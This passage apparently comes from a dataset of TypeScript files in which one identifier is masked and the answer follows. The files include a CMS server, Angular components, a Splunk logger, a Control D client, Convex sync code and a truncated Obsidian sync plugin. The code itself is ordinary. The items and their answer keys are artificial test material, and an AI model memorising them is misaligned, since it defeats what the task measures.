        fs.writeFile(deploy_file, JSON.stringify(newPackage) , function(innerexception: any){
            if(innerexception) {
                throw innerexception;
            }
        });

    }

    public isValidEnvocation(command: string, type: string, folder: string): boolean {
        return new RegExp(""run"").test(command) || 
            new RegExp(""deploy"").test(command) || 
            (new RegExp(""setup"").test(command) && 
            (new RegExp(""database"").test(type)  ||
            (new RegExp(""file"").test(type)  && folder !== undefined)));
    }

    public startWebserver(mode: string, folder: string): void {
        let webserverPort = process.env.PORT || 80;
        
        this.connector = 
            mode === ""file"" ? 
            new FileConnector(folder) : 
            new DatabaseConnector(process.env.DATABASE_URL);

        let cmsResources = new CMSResources(this.connector);
        let  [MASK]  = new CMSFormItems(this.connector);
        let requesthandler = new RequestHandler(cmsResources,  [MASK] , true);

        requesthandler.initialize().then(( ) => {
            http.createServer(requesthandler.handle.bind(requesthandler)).listen(webserverPort);
            console.info(""Webserver running on port: "" + webserverPort);
        });
    }
}

let app = new App();

app.handleCommandLineCall(process.argv[2],process.argv[3], process.argv[4]);",cmsFormItems
212,"import { Component, OnInit } from '@angular/core';
import { select, Store } from '@ngrx/store';
import { includes, toLower } from 'lodash-es';
import moment from 'moment';
import { FormGroupState } from 'ngrx-forms';
import {
  NgrxAutocompleteConverter,
  NgrxDateToISO8601UTC,
} from 'ngrx-forms-material';
import { NgrxDateTimeZoneToISO8601 } from 'projects/ngrx-forms-material/src/lib/converters/dateonly.converter';
import { NgrxDateToISO8601 } from 'projects/ngrx-forms-material/src/public-api';
import { filter, map, Observable, switchMap } from 'rxjs';
import {
  countries,
  Country,
  fruits,
  MyDomain,
  vegetables,
} from './models/my-domain.model';
import {
  selectMyDomainForm,
  selectMyDomainFormAutocompleteData,
  selectMyDomainFormAutocompleteField,
} from './store';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css'],
})
export class AppComponent implements OnInit {
  title = 'demo';

  formState$: Observable<FormGroupState<MyDomain>>;

  dateConverter: NgrxDateToISO8601;
  dateUtcConverter: NgrxDateToISO8601UTC;
  countryConverter: NgrxAutocompleteConverter<Country, string>;
  dateTimeConverter: NgrxDateTimeZoneToISO8601;

  current_year = moment().year();
  minDate = moment([this.current_year - 120, 0, 1]);
  maxDate = moment();
  startDate = moment([this.current_year - 18, 0, 1]);

  allFruits = fruits;
  allVegetables = vegetables;
  allCountries = countries;

  constructor(private store: Store<any>) {}

  ngOnInit() {
    this.dateConverter = new NgrxDateToISO8601();
    this.dateUtcConverter = new NgrxDateToISO8601UTC();
    this.dateTimeConverter = new NgrxDateTimeZoneToISO8601('Europe/Paris');
    this.countryConverter = new NgrxAutocompleteConverter(
      this.allCountries,
      'code'
    );
    this.formState$ = this.store.pipe(select(selectMyDomainForm));
  }

  displayCountry(country?: Country): string | undefined {
    return country ? country.label : undefined;
  }

  filteredCountries$() {
    return this.store.pipe(
      select(selectMyDomainFormAutocompleteField),
      filter(( [MASK] ) =>  [MASK]  === 'birthCountry'),
      switchMap((_) =>
        this.store.pipe(
          select(selectMyDomainFormAutocompleteData),
          map((autocomplete) =>
            autocomplete.filter(
              this.allCountries,
              (country) =>
                includes(
                  toLower(country.label),
                  toLower(autocomplete.seized)
                ) || includes(country.code, autocomplete.seized)
            )
          )
        )
      )
    );
  }
}
",field
213,"type JsonPrimitive = string | number | boolean | null | undefined;
type JsonArray = JsonAny[];
type JsonAny = JsonPrimitive | JsonArray | JsonObject;

interface JsonObject {
  [key: string]: JsonAny;
}

/** https://docs.splunk.com/Documentation/Splunk/latest/Data/FormateventsforHTTPEventCollector */
interface HecOverrides {
  /** Overrides the default host of the HEC. */
  host?: string;
  /** Overrides the default source of the HEC. */
  source?: string;
  /** Overrides the default sourcetype of the HEC. */
  sourceType?: string;
  /** Overrides the default index of the HEC. */
  index?: string;
}

interface WebLoggerConfig extends HecOverrides {
  /** The origin of your Splunk instance. */
  origin: string;
  /** The Splunk access token provided by your HEC endpoint. */
  token: string;
  /** The max size in bytes of events you want to store before sending. */
  bufferCapacity?: number;
  /** The max time in milliseconds to wait before sending events. 0 denotes no timeout  */
  bufferTimeout?: number;
  /** Middleware functions to run on each event */
  middleware?: middleware[];
}

type middleware = (event: JsonObject) => JsonObject;

export default class WebLogger {
  url: string;
  host?: string;
  source?: string;
  sourceType?: string;
  index?: string;
  buffer: string = """";
  bufferCapacity: number;
  middleware: middleware[];

  constructor({
    origin,
    token,
    index,
    host,
    source,
    sourceType,
    bufferCapacity = 4096,
    middleware = [],
  }: WebLoggerConfig) {
    this.url = `${origin}/services/collector/event?token=${token}`;
    this.host = host;
    this.source = source;
    this.sourceType = sourceType;
    this.index = index;
    this.bufferCapacity = bufferCapacity;
    this.middleware = middleware;

    addEventListener(""pagehide"", () => {
      this.send();
    });
    document.addEventListener(""visibilitychange"", () => {
      if (document.visibilityState === ""hidden"") {
        this.send();
      }
    });
  }

  /** Adds an event to the event buffer. */
  log(event: JsonObject): boolean {
    for (const middleware of this.middleware) {
      event = middleware(event);
    }

    const  [MASK]  = {
      index: this.index,
      host: this.host,
      source: this.source,
      sourcetype: this.sourceType,
      time: Date.now(),
      event,
    };

    this.buffer += JSON.stringify( [MASK] );

    if (this.buffer.length >= this.bufferCapacity) {
      return this.send();
    }

    return false;
  }

  /** */
  send(): boolean {
    if (this.buffer) {
      const success = navigator.sendBeacon(this.url, this.buffer);
      if (success) {
        this.buffer = """";
      }
      return success;
    }
    return false;
  }
}
",fullEvent
214,"import axios from 'axios';
import type { Logging } from 'homebridge';

export interface ControlDProfile {
  PK: string;
  name: string;
  updated: number;
  disable_ttl?: number;
  profile?: {
    da?: {
      status: number;
      do: number;
    };
  };
  filteringEnabled?: boolean; // Helper property to track filtering status
}

export interface ControlDDevice {
  PK: string;
  name: string;
  profile: {
    PK: string;
    name: string;
  };
  status: number;
}

export class ControlDApi {
  private readonly baseUrl = 'https://api.controld.com';
  private readonly apiToken: string;
  private readonly log: Logging;

  constructor(apiToken: string, log: Logging) {
    this.apiToken = apiToken;
    this.log = log;
  }

  private getHeaders() {
    return {
      'Content-Type': 'application/json',
      'Authorization': `Bearer ${this.apiToken}`,
    };
  }

  async validateApiToken(): Promise<boolean> {
    try {
      const response = await axios.get(`${this.baseUrl}/profiles`, {
        headers: this.getHeaders(),
      });
      return response.status === 200 && response.data && response.data.success === true;
    } catch (error) {
      if (axios.isAxiosError(error)) {
        if (error.response?.status === 403) {
          const errorData = error.response.data as { error?: { code: number; message: string } };
          
          if (errorData?.error?.code === 40301) {
            this.log.error('Control D API Permission Error: Your token does not have access to the profiles endpoint.');
            this.log.error('Please create a new token with these permissions: profiles:read, profiles:write');
            this.log.error('Visit https://controld.com/dashboard → Settings → API to update your token.');
          } else {
            this.log.error('Control D API Authentication Error: Your API token appears to be invalid or lacks required permissions.');
            this.log.error('Please verify that you have entered the correct token and that it has the necessary permissions.');
            this.log.error('Visit https://controld.com/dashboard to generate a new token if needed.');
          }
        } else if (error.response) {
          this.log.error(`API Error validating token: Status ${error.response.status}, Message: ${JSON.stringify(error.response.data)}`);
        } else {
          this.log.error(`Network Error validating token: ${error.message}`);
        }
      } else {
        this.log.error('Control D API Error while validating token:', error);
      }
      return false;
    }
  }

  async getProfiles(): Promise<ControlDProfile[]> {
    try {
      const response = await axios.get(`${this.baseUrl}/profiles`, {
        headers: this.getHeaders(),
      });
      
      if (!response.data || !response.data.success || !response.data.body || !Array.isArray(response.data.body.profiles)) {
        this.log.warn('Unexpected response format from Control D API - profiles endpoint');
        return [];
      }
      
      const profiles = response.data.body.profiles || [];
      const currentTime = Math.floor(Date.now() / 1000);
      
      // Add helper property to track filtering status
      return profiles.map((profile: ControlDProfile) => {
        // A profile is considered disabled if it has a disable_ttl value greater than current time
        // A disable_ttl of 0 means filtering is enabled
        const  [MASK]  = profile.disable_ttl === 0;
        const isUnset = profile.disable_ttl === undefined || profile.disable_ttl === null;
        const isExpired = profile.disable_ttl !== undefined && profile.disable_ttl <= currentTime;
        const filteringEnabled =  [MASK]  || isUnset || isExpired;
        
        return {
          ...profile,
          filteringEnabled,
        };
      });
    } catch (error) {
      if (axios.isAxiosError(error)) {
        if (error.response?.status === 403) {
          const errorData = error.response.data as { error?: { code: number; message: string } };
          
          if (errorData?.error?.code === 40301) {
            this.log.error('Control D API Permission Error: Your token does not have access to the profiles endpoint.');
            this.log.error('Please create a new token with these permissions: profiles:read, profiles:write');
          } else {
            this.log.error('Control D API Authentication Error: Failed to fetch profiles due to invalid token or insufficient permissions.');
          }
        } else if (error.response) {
          this.log.error(`API Error fetching profiles: Status ${error.response.status}, Message: ${JSON.stringify(error.response.data)}`);
        } else {
          this.log.error(`Network Error fetching profiles: ${error.message}`);
        }
      } else {
        this.log.error('Failed to get profiles:', error);
      }
      return [];
    }
  }

  async toggleProfileFiltering(profileId: string, enabled: boolean): Promise<boolean> {
    try {
      this.log.debug(`Setting profile ${profileId} filtering to ${enabled ? 'enabled' : 'disabled'}`);
      
      let requestData;
      
      if (enabled) {
        // Enable profile by setting disable_ttl to 0
        requestData = { disable_ttl: 0 };
      } else {
        // Disable profile for 24 hours (86400 seconds)
        const disableTtl = Math.floor(Date.now() / 1000) + 86400;
        requestData = { disable_ttl: disableTtl };
      }
      
      const response = await axios.put(
        `${this.baseUrl}/profiles/${profileId}`,
        requestData,
        { headers: this.getHeaders() },
      );
      
      if (response.status === 200 && response.data && response.data.success) {
        this.log.debug(`Successfully ${enabled ? 'enabled' : 'disabled'} filtering for profile`);
        return true;
      } else {
        this.log.warn(`Unexpected status code or response when updating profile filtering: ${response.status}`);
        return false;
      }
    } catch (error) {
      if (axios.isAxiosError(error)) {
        if (error.response?.status === 403) {
          this.log.error('Control D API Authentication Error: Failed to toggle profile filtering. Invalid token or insufficient permissions.');
        } else if (error.response) {
          this.log.error(`API Error: Status ${error.response.status}, Message: ${JSON.stringify(error.response.data)}`);
        } else {
          this.log.error(`Network Error: ${error.message}`);
        }
      } else {
        this.log.error('Failed to toggle profile filtering:', error);
      }
      return false;
    }
  }

  // Keeping this method for backwards compatibility, but we're not using it anymore
  async getDevices(): Promise<ControlDDevice[]> {
    try {
      const response = await axios.get(`${this.baseUrl}/devices`, {
        headers: this.getHeaders(),
      });
      
      if (!response.data || !response.data.success || !response.data.body || !Array.isArray(response.data.body.devices)) {
        this.log.warn('Unexpected response format from Control D API - devices endpoint');
        return [];
      }
      
      return response.data.body.devices || [];
    } catch (error) {
      if (axios.isAxiosError(error)) {
        if (error.response?.status === 403) {
          this.log.error('Control D API Authentication Error: Failed to fetch devices due to invalid token or insufficient permissions.');
        } else if (error.response) {
          this.log.error(`API Error fetching devices: Status ${error.response.status}, Message: ${JSON.stringify(error.response.data)}`);
        } else {
          this.log.error(`Network Error fetching devices: ${error.message}`);
        }
      } else {
        this.log.error('Failed to get devices:', error);
      }
      return [];
    }
  }

  async setDeviceProfile(deviceId: string, profileId: string): Promise<boolean> {
    try {
      this.log.debug(`Setting device ${deviceId} to use profile ${profileId}`);
      
      const response = await axios.put(
        `${this.baseUrl}/devices/${deviceId}`,
        { profile: { PK: profileId } },
        { headers: this.getHeaders() },
      );
      
      if (response.status === 200 && response.data && response.data.success) {
        this.log.debug('Successfully updated device profile');
        return true;
      } else {
        this.log.error(
          `Control D API Authentication Error: Failed to set device profile (${deviceId} to ${profileId}). ` +
          'Invalid token or insufficient permissions.',
        );
        return false;
      }
    } catch (error) {
      if (axios.isAxiosError(error)) {
        if (error.response?.status === 403) {
          this.log.error(
            `Control D API Authentication Error: Failed to set device profile (${deviceId} to ${profileId}). ` +
            'Invalid token or insufficient permissions.',
          );
        } else if (error.response) {
          this.log.error(`API Error: Status ${error.response.status}, Message: ${JSON.stringify(error.response.data)}`);
        } else {
          this.log.error(`Network Error: ${error.message}`);
        }
      } else {
        this.log.error('Failed to set device profile:', error);
      }
      return false;
    }
  }
}",isZero
215,"import {OfferStoreSelectors} from './offer-store';
import {DictionaryStoreSelectors} from './dictionary-store';
import {createSelector, MemoizedSelector} from '@ngrx/store';
import {ExtraChannel, Hardware, InvoiceRow, Service, Summary} from '../models';
import {DemoStoreSelectors} from './demo-store';

export const selectError: MemoizedSelector<object, string> = createSelector(
  DemoStoreSelectors.selectDemoFeatureError,
  DictionaryStoreSelectors.selectDictionaryFeatureError,
  OfferStoreSelectors.selectOfferFeatureError,
  (demo:string, dictionary: string, offer: string) => demo || dictionary || offer
);

export const selectIsLoading: MemoizedSelector<object, boolean> = createSelector(
  DemoStoreSelectors.selectDemoFeatureIsLoading,
  DictionaryStoreSelectors.selectDictionaryFeatureIsLoading,
  OfferStoreSelectors.selectOfferFeatureIsLoading,
  (demo:boolean, dictionary: boolean, offer: boolean) => demo || dictionary || offer
);

export const selectOfferExtraChannels: MemoizedSelector<object, ExtraChannel[]> = createSelector(
  DictionaryStoreSelectors.selectDictionaryExtraChannels,
  OfferStoreSelectors.selectOfferDataModel,
  (channels, offer) => {
    if (!offer) {
      return [];
    }
    if (!channels) {
      return [];
    }
    const dict = makeDict(channels, 'code');
    return (offer.extraChannels || [])
      .filter(channel => dict[channel.code])
      .map(channel => ({
        ...channel,
        title: dict[channel.code].name,
        description: [dict[channel.code].description, ...dict[channel.code].details].join('\n'),
        oldPrice: channel.price,
      }));
  }
);

function makeDict<T>(arr: T[], field: keyof T): { [field: string]: T } {
  return Object.assign({}, ...(arr || []).map(item => ({[`${item[field]}`]: item})));
}

export const selectOfferHardwares: MemoizedSelector<object, Hardware[]> = createSelector(
  DictionaryStoreSelectors.selectDictionaryHardware,
  OfferStoreSelectors.selectOfferDataModel,
  (hardwares, offer) => {
    if (!offer) {
      return [];
    }
    if (!hardwares) {
      return [];
    }
    const dict = makeDict(hardwares, 'code');
    return (offer.hardware || [])
      .filter(hardware => dict[hardware.code])
      .map(hardware => ({
        code: hardware.code,
        selected: hardware.selected,
        multiRoom: hardware.multiRoom,
        title: dict[hardware.code].name,
        description: dict[hardware.code].description,
        price: hardware.montlyPayment || 0,
        activationPrice: hardware.activationPrice || 0,
      }));
  }
);

export const selectOfferServices: MemoizedSelector<object, Service[]> = createSelector(
  DictionaryStoreSelectors.selectDictionaryService,
  OfferStoreSelectors.selectOfferDataModel,
  (services, offer) => {
    if (!offer) {
      return [];
    }
    if (!services) {
      return [];
    }
    const dict = makeDict(services, 'code');
    return (offer.extraServices || [])
      .filter(service => dict[service.code])
      .map(service => ({
        code: service.code,
        selected: service.selected,
        title: dict[service.code].name,
        description: dict[service.code].description,
        price: service.monthlyPriceAfterDiscounts || 0,
        oldPrice: service.monthlyPrice || 0,
        activationPrice: service.activationPriceAfterDiscounts || 0,
        oldActivationPrice: service.activationPrice || 0,
      }));
  }
);

export const selectOfferSummary: MemoizedSelector<object, Summary> = createSelector(
  DictionaryStoreSelectors.selectDictionaryPackages,
  DictionaryStoreSelectors.selectDictionaryIntervals,
  OfferStoreSelectors.selectOfferDataModel,
  (packages, intervals, offer) => {
    if (!offer) {
      return null;
    }
    const packagesDict = makeDict(packages, 'code');
    const  [MASK]  = makeDict(intervals, 'value');
    return {
      activationPrice: offer.activationPriceAfterDiscounts,
      oldActivationPrice: offer.activationPrice,
      price: offer.priceAfterDiscounts,
      oldPrice: offer.price,
      interval: `${offer.duration} ${ [MASK] [offer.duration].displayUnitValue}`,
      package: packagesDict[offer.package].publicName,
    };
  }
);

export const selectOfferInvoicesRows: MemoizedSelector<object, InvoiceRow[]> = createSelector(
  OfferStoreSelectors.selectOfferInvoices,
  (invoices) => invoices.map((invoice, index) => ({
    no: index + 1,
    date: invoice.paymentDate,
    price: invoice.valueAfterDiscounts || invoice.value,
    oldPrice: invoice.value || invoice.valueAfterDiscounts,
  }))
);
",intervalsDict
216,"'use server'
import admin from ""@/lib/firebase/firebase-server"";
import { prisma } from ""@/lib/prisma"";
import { ERROR_CODES } from ""@/lib/responses/errors"";
import { CODES_SUCCESS } from ""@/lib/responses/success"";

export async function signInWithFirebase( [MASK] : string) {
  try {
    const user = await prisma.user.findFirst({
      where: {
        firebaseUid:  [MASK] ,
      },
      select: {
        name: true,
        role: true,
        company: {
          select: {
            id: true,
            name: true,
            planType: true
          }
        }
      },
    });
    

    const customClaims = {
      name: user?.name,
      role: user?.role,
      companyId: user?.company?.id,
      companyName: user?.company?.name,
      plan: user?.company?.planType,
    };

    await admin.auth().setCustomUserClaims( [MASK] , customClaims);

    return CODES_SUCCESS.QUERY_OK;
  } catch (error: any) {
    return { error: error.message, ...ERROR_CODES.BAD_REQUEST };
  }
}
",uid
217,"import { DType } from ""../types/dtypes"";
import {
  Connection,
  ConnectionChangedCallback,
  ValueChangedCallback,
  SubscriptionType,
  DeviceQueriedCallback
} from ""./plugin"";

export class ConnectionForwarder implements Connection {
  private prefixConnections: [string, Connection | undefined][];
  private connected: boolean;
  public constructor(prefixConnections: [string, Connection | undefined][]) {
    this.prefixConnections = prefixConnections;
    this.connected = false;
  }
  private getConnection(pvName: string): Connection {
    for (const [prefix, connection] of this.prefixConnections) {
      if (pvName.startsWith(prefix)) {
        if (connection !== undefined) {
          return connection;
        } else {
          throw new Error(`Connection for ${prefix} not initiated`);
        }
      }
    }
    throw new Error(`No connections for ${pvName}`);
  }

  public subscribe(pvName: string, type: SubscriptionType): string {
    const connection = this.getConnection(pvName);
    return connection.subscribe(pvName, type);
  }

  public unsubscribe(pvName: string): void {
    const connection = this.getConnection(pvName);
    return connection.unsubscribe(pvName);
  }

  public isConnected(): boolean {
    return this.connected;
  }

  public putPv(pvName: string, value: DType): void {
    const connection = this.getConnection(pvName);
    return connection.putPv(pvName, value);
  }

  public getDevice(device: string): void {
    const connection = this.getConnection(device);
    return connection.getDevice(device);
  }

  public connect(
    connectionCallback: ConnectionChangedCallback,
     [MASK] : ValueChangedCallback,
    deviceCallback: DeviceQueriedCallback
  ): void {
    for (const [, connection] of this.prefixConnections) {
      if (connection !== undefined) {
        if (!connection.isConnected()) {
          connection.connect(connectionCallback,  [MASK] , deviceCallback);
        }
      }
    }
  }
}
",valueCallback
218,"import { Component, OnInit } from '@angular/core';
import { CommonModule } from '@angular/common';
import { ActivatedRoute, Router, RouterModule } from '@angular/router';
import { FormBuilder, FormGroup, Validators, ReactiveFormsModule } from '@angular/forms';
import { MatButtonModule } from '@angular/material/button';
import { MatCardModule } from '@angular/material/card';
import { MatChipsModule } from '@angular/material/chips';
import { MatDialogModule, MatDialog } from '@angular/material/dialog';
import { MatDividerModule } from '@angular/material/divider';
import { MatFormFieldModule } from '@angular/material/form-field';
import { MatIconModule } from '@angular/material/icon';
import { MatInputModule } from '@angular/material/input';
import { MatProgressSpinnerModule } from '@angular/material/progress-spinner';
import { MatSnackBarModule, MatSnackBar } from '@angular/material/snack-bar';
import { MatTabsModule } from '@angular/material/tabs';
import { MatListModule } from '@angular/material/list';

import { ApprovalService } from '../services/approval.service';
import {
  Trip,
  TripStatus,
  ExpenseType,
  CarRental,
  Hotel,
  Flight,
  Taxi
} from '../../trips/models/trip.model';
import { ApprovalNote } from '../models/approval.model';

@Component({
  selector: 'app-approval-detail',
  standalone: true,
  imports: [
    CommonModule,
    RouterModule,
    ReactiveFormsModule,
    MatButtonModule,
    MatCardModule,
    MatChipsModule,
    MatDialogModule,
    MatDividerModule,
    MatFormFieldModule,
    MatIconModule,
    MatInputModule,
    MatProgressSpinnerModule,
    MatSnackBarModule,
    MatTabsModule,
    MatListModule
  ],
  templateUrl: './approval-detail.component.html',
  styleUrls: ['./approval-detail.component.scss']
})
export class ApprovalDetailComponent implements OnInit {
  trip: Trip | null = null;
  loading = true;
  tripId!: number;
  notes: ApprovalNote[] = [];
  noteForm!: FormGroup;
  submitting = false;

  constructor(
    private route: ActivatedRoute,
    private router: Router,
    private approvalService: ApprovalService,
    private fb: FormBuilder,
    private snackBar: MatSnackBar
  ) {}

  ngOnInit(): void {
    this.createNoteForm();
    this.route.params.subscribe(params => {
      if (params['id']) {
        this.tripId = +params['id'];
        this.loadTrip();
      }
    });
  }

  createNoteForm(): void {
    this.noteForm = this.fb.group({
      note: ['', [Validators.required, Validators.maxLength(500)]]
    });
  }

  loadTrip(): void {
    this.loading = true;
    this.approvalService.getTripForApproval(this.tripId).subscribe({
      next: (trip) => {
        this.trip = trip;
        this.notes = [];
        this.loading = false;
      },
      error: (error) => {
        console.error('Error loading trip', error);
        this.snackBar.open('Error loading trip. Please try again.', 'Close', {
          duration: 3000
        });
        this.loading = false;
        this.router.navigate(['/approvals/pending']);
      }
    });
  }

  getStatusClass(status: string): string {
    switch (status) {
      case TripStatus.DRAFT:
        return 'status-draft';
      case TripStatus.PENDING_APPROVAL:
        return 'status-pending';
      case TripStatus.APPROVED:
        return 'status-approved';
      case TripStatus.REJECTED:
        return 'status-rejected';
      default:
        return '';
    }
  }

  getExpenseTypeLabel( [MASK] : string): string {
    switch ( [MASK] ) {
      case ExpenseType.FLIGHT:
        return 'Flight';
      case ExpenseType.HOTEL:
        return 'Hotel';
      case ExpenseType.CAR_RENTAL:
        return 'Car Rental';
      case ExpenseType.TAXI:
        return 'Taxi';
      default:
        return 'Other';
    }
  }

  isCarRental(details: any): details is CarRental {
    return details &&
      'carName' in details &&
      'pickupDateTime' in details &&
      'dropoffDateTime' in details &&
      'pickupLocation' in details &&
      'dropoffLocation' in details;
  }

  isHotel(details: any): details is Hotel {
    return details &&
      'hotelName' in details &&
      'location' in details &&
      'checkInDate' in details &&
      'checkOutDate' in details;
  }

  isFlight(details: any): details is Flight {
    return details &&
      'airline' in details &&
      'from' in details &&
      'to' in details &&
      'departureDateTime' in details &&
      'arrivalDateTime' in details;
  }

  isTaxi(details: any): details is Taxi {
    return details &&
      'from' in details &&
      'to' in details &&
      'dateTime' in details;
  }

  approveTrip(): void {
    if (!this.trip) return;

    this.submitting = true;
    const note = this.noteForm.value.note || undefined;

    this.approvalService.approveTrip(this.tripId, note).subscribe({
      next: (trip) => {
        this.snackBar.open('Trip approved successfully', 'Close', {
          duration: 3000
        });
        this.trip = trip;
        this.submitting = false;
        setTimeout(() => {
          this.router.navigate(['/dashboard']);
        }, 1500);
      },
      error: (error) => {
        console.error('Error approving trip', error);
        this.snackBar.open('Error approving trip. Please try again.', 'Close', {
          duration: 3000
        });
        this.submitting = false;
      }
    });
  }

  rejectTrip(): void {
    if (!this.trip) return;

    this.submitting = true;
    const note = this.noteForm.value.note || undefined;

    this.approvalService.rejectTrip(this.tripId, note).subscribe({
      next: (trip) => {
        this.snackBar.open('Trip rejected', 'Close', {
          duration: 3000
        });
        this.trip = trip;
        this.submitting = false;
        setTimeout(() => {
          this.router.navigate(['/dashboard']);
        }, 1500);
      },
      error: (error) => {
        console.error('Error rejecting trip', error);
        this.snackBar.open('Error rejecting trip. Please try again.', 'Close', {
          duration: 3000
        });
        this.submitting = false;
      }
    });
  }
}
",type
219,"import { v } from ""convex/values"";
import { internalQuery, mutation, query } from ""./_generated/server"";
import { vDocumentId } from ""./schema"";
import { hash as sha256 } from ""fast-sha256"";

export const submitSnapshot = mutation({
  args: {
    documentId: vDocumentId,
    data: v.bytes(),
    debugDump: v.optional(v.any()),
  },
  handler: async (ctx, args) => {
    const hash = keyHash(new Uint8Array(args.data));
    const existing = await ctx.db
      .query(""automerge"")
      .withIndex(""doc_type_hash"", (q) =>
        q
          .eq(""documentId"", args.documentId)
          .eq(""type"", ""snapshot"")
          .eq(""hash"", hash)
      )
      .first();
    if (!existing) {
      return ctx.db.insert(""automerge"", {
        documentId: args.documentId,
        data: args.data,
        hash,
        type: ""snapshot"",
        debugDump: args.debugDump,
      });
    }
    return existing._id;
  },
});

export const submitChange = mutation({
  args: {
    documentId: vDocumentId,
    change: v.bytes(),
    debugDump: v.optional(v.any()),
  },
  handler: async (ctx, args) => {
    const hash = keyHash(new Uint8Array(args.change));
    const existing = await ctx.db
      .query(""automerge"")
      .withIndex(""doc_type_hash"", (q) =>
        q
          .eq(""documentId"", args.documentId)
          .eq(""type"", ""incremental"")
          .eq(""hash"", hash)
      )
      .first();
    if (!existing) {
      return ctx.db.insert(""automerge"", {
        documentId: args.documentId,
        data: args.change,
        hash,
        type: ""incremental"",
        debugDump: args.debugDump,
      });
    }
    return existing._id;
  },
});

const MINUTE = 60 * 1000;
const RETENTION_BUFFER = 5 * MINUTE;

export const pullChanges = query({
  args: {
    documentId: vDocumentId,
    since: v.number(),
    numItems: v.optional(v.number()),
    cursor: v.optional(v.string()),
  },
  handler: async (ctx, args) => {
    const result = await ctx.db
      .query(""automerge"")
      .withIndex(""documentId"", (q) =>
        q.eq(""documentId"", args.documentId).gt(""_creationTime"", args.since)
      )
      .paginate({
        numItems: args.numItems ?? 10,
        cursor: args.cursor ?? null,
      });

    // For the first page, also reach further back to avoid missing changes
    // inserted out of order.
    // This isn't part of the paginate call, since the cursors wouldn't
    // stay consistent if they're based on Date.now().
    if (!args.cursor) {
      const retentionBuffer = await ctx.db
        .query(""automerge"")
        .withIndex(""documentId"", (q) =>
          q
            .eq(""documentId"", args.documentId)
            .gt(""_creationTime"", args.since - RETENTION_BUFFER)
            .lte(""_creationTime"", args.since)
        )
        .collect();
      result.page = retentionBuffer.concat(result.page);
    }
    return result;
  },
});

export const getChanges = internalQuery({
  args: { documentId: vDocumentId },
  handler: async (ctx, args) => {
    return await ctx.db
      .query(""automerge"")
      .withIndex(""doc_type_hash"", (q) => q.eq(""documentId"", args.documentId))
      .collect();
  },
});

/**
 * Hash functions
 */

// Based on https://github.com/automerge/automerge-repo/blob/fixes/packages/automerge-repo/src/storage/keyHash.ts
function keyHash( [MASK] : Uint8Array) {
  // calculate hash
  const hash = sha256( [MASK] );
  // To hex string
  return Array.from(hash, (byte) => byte.toString(16).padStart(2, ""0"")).join(
    """"
  );
}
",binary
220,"import { App, Editor, MarkdownView, Modal, Notice, Plugin, PluginSettingTab, Setting, requestUrl, TFile } from 'obsidian';

interface Workspace {
	name: string;
	slug: string;
}

interface AnythingObsidianSettings {
	apiKey: string;
	rootUrl: string;
	workspaces: Workspace[];
	selectedWorkspaces: string[];
	syncedFolders: string[];
	autoDelete: boolean;
	updateHandling: 'keep-in-workspace' | 'archive' | 'delete';
	remoteBaseFolder: string;
	autoSync: boolean;
	autoSyncInterval: number;
	showNotifications: boolean;
}

const DEFAULT_SETTINGS: AnythingObsidianSettings = {
	apiKey: '',
	rootUrl: 'http://localhost:3001',
	workspaces: [],
	selectedWorkspaces: [],
	syncedFolders: [],
	autoDelete: false,
	updateHandling: 'archive',
	remoteBaseFolder: 'Obsidian Vault',
	autoSync: false,
	autoSyncInterval: 5,
	showNotifications: true,
}

export default class AnythingObsidian extends Plugin {
	settings: AnythingObsidianSettings;
	autoSyncIntervalId: number | null = null;

	async onload() {
		await this.loadSettings();
		this.applyAutoSyncSettings();

		// This adds a settings tab so the user can configure various aspects of the plugin
		this.addSettingTab(new AnythingObsidianSettingTab(this.app, this));

		this.addCommand({
			id: 'sync-folders-to-anything-llm',
			name: 'Sync folders to Anything LLM',
			callback: async () => {
				this.notify('Sync process initiated...');
				await this.syncFolders();
			}
		});

		this.addCommand({
			id: 'upload-active-file-to-anything-llm',
			name: 'Upload active file to Anything LLM',
			editorCallback: async (editor: Editor, view: MarkdownView) => {
				const { selectedWorkspaces, apiKey, rootUrl } = this.settings;

				if (!selectedWorkspaces || selectedWorkspaces.length === 0) {
					this.notify('No workspace selected. Please select a workspace in the plugin settings.');
					return;
				}

				if (!apiKey || !rootUrl) {
					this.notify('API Key or Root URL is missing. Please configure them in the settings.');
					return;
				}

				const file = view.file;
				if (!file) {
					this.notify('No active file to upload.');
					return;
				}
				this.notify(`Uploading ${file.name}...`);
				await this.uploadFile(file, selectedWorkspaces);
			}
		});
	}

	async syncFolders() {
		const { apiKey, rootUrl, syncedFolders, remoteBaseFolder } = this.settings;
		if (!syncedFolders || syncedFolders.length === 0) {
			this.notify('No folders configured for syncing.');
			return;
		}

		await this.ensureRemoteFolderExists(remoteBaseFolder);

		this.notify('Fetching remote file list...');
		const remoteFiles = await this.getRemoteFileList();
		if (remoteFiles === null) {
			this.notify('Failed to fetch remote files. Aborting sync.');
			return;
		}

		this.notify('Scanning local files...');
		const localFiles = await this.getLocalFiles(syncedFolders);
		
		const { toCreate, toUpdate, toDelete } = this.compareFiles(localFiles, remoteFiles);

		console.log('Files to create:', toCreate);
		console.log('Files to update:', toUpdate);
		console.log('Files to delete:', toDelete);

		this.notify('Sync comparison complete. Check console for details.');

		// Now, perform the actual file operations
		await this.processCreations(toCreate, localFiles);
		await this.processUpdates(toUpdate, localFiles, remoteFiles);
		await this.processDeletions(toDelete, remoteFiles);

		// Final cleanup step
		if (this.settings.autoDelete) {
			this.notify('Auto-delete is enabled, clearing remote archives...');
			await this.clearRemoteArchives();
		}
	}

	async processCreations(toCreate: Set<string>, localFiles: Map<string, any>) {
		for (const path of toCreate) {
			const file = this.app.vault.getAbstractFileByPath(localFiles.get(path).path);
			if (file instanceof TFile) {
				this.notify(`Creating: ${file.name}`);
				await this.uploadFile(file, this.settings.selectedWorkspaces);
			}
		}
	}

	async processUpdates(toUpdate: Set<string>, localFiles: Map<string, any>, remoteFiles: Map<string, any>) {
		const { updateHandling } = this.settings;
		if (toUpdate.size === 0) return;

		const filesToUpload: TFile[] = [];
		const remotePathsToModify: string[] = [];
		for (const key of toUpdate) {
			const localFile = localFiles.get(key);
			const remoteFile = remoteFiles.get(key);
			if (!localFile || !remoteFile) continue;

			filesToUpload.push(this.app.vault.getAbstractFileByPath(localFile.path) as TFile);
			remotePathsToModify.push(`${this.settings.remoteBaseFolder}/${remoteFile.name}`);
		}
		
		this.notify(`Found ${filesToUpload.length} file(s) to update.`);

		// Always upload the new version first
		for (const file of filesToUpload) {
			await this.uploadFile(file, this.settings.selectedWorkspaces);
		}

